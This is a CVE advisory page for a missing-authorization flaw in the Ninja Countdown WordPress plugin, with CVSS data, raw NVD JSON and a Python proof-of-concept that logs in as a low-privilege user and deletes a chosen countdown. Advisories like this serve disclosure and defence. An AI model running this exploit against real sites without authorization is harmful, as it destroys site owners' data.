Security Vulnerability Report
中文
CVE-2025-12665 CVSS 4.3 MEDIUM

CVE-2025-12665

Published: 2025-11-11 04:15:49
Last Modified: 2026-04-15 00:35:42

Description

The Ninja Countdown | Fastest Countdown Builder plugin for WordPress is vulnerable to unauthorized loss of data due to a missing capability check on the 'ninja_countdown_admin_ajax' AJAX endpoint in all versions up to, and including, 1.5.0. This makes it possible for authenticated attackers, with Subscriber-level access and above, to delete arbitrary countdowns.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Ninja Countdown | Fastest Countdown Builder <= 1.5.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-12665 PoC - Ninja Countdown Plugin Unauthorized Data Deletion Description: Missing authorization check in ninja_countdown_admin_ajax AJAX endpoint allows authenticated users with subscriber-level access to delete arbitrary countdowns. """ import requests import sys TARGET_URL = "http://target-wordpress-site.com" USERNAME = "attacker" PASSWORD = "password123" TARGET_COUNTDOWN_ID = 1 # ID of countdown to delete def exploit(): """Exploit the missing authorization vulnerability""" session = requests.Session() # Step 1: Authenticate with WordPress login_url = f"{TARGET_URL}/wp-login.php" login_data = { "log": USERNAME, "pwd": PASSWORD, "wp-submit": "Log In", "redirect_to": "/wp-admin/", "testcookie": "1" } print(f"[*] Logging in as {USERNAME}...") resp = session.post(login_url, data=login_data, allow_redirects=True) if "wordpress_logged_in" not in str(session.cookies) and "wordpress_logged_in" not in str(resp.cookies): print("[-] Login failed!") return False print("[+] Login successful!") # Step 2: Send malicious AJAX request to delete countdown ajax_url = f"{TARGET_URL}/wp-admin/admin-ajax.php" exploit_data = { "action": "ninja_countdown_admin_ajax", "operation": "delete", # Delete operation "countdown_id": TARGET_COUNTDOWN_ID # Arbitrary countdown ID } print(f"[*] Sending exploit request to delete countdown ID {TARGET_COUNTDOWN_ID}...") resp = session.post(ajax_url, data=exploit_data) # Step 3: Verify deletion if resp.status_code == 200: try: result = resp.json() if result.get("success"): print(f"[+] Countdown deleted successfully!") print(f"[+] Response: {result}") return True except: pass print("[-] Exploitation may have failed or target is not vulnerable") return False if __name__ == "__main__": exploit()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12665", "sourceIdentifier": "[email protected]", "published": "2025-11-11T04:15:49.103", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Ninja Countdown | Fastest Countdown Builder plugin for WordPress is vulnerable to unauthorized loss of data due to a missing capability check on the 'ninja_countdown_admin_ajax' AJAX endpoint in all versions up to, and including, 1.5.0. This makes it possible for authenticated attackers, with Subscriber-level access and above, to delete arbitrary countdowns."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://wordpress.org/plugins/ninja-countdown/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/9b0b6433-5651-4a9d-8356-5d02d51830f4?source=cve", "source": "[email protected]"}]}}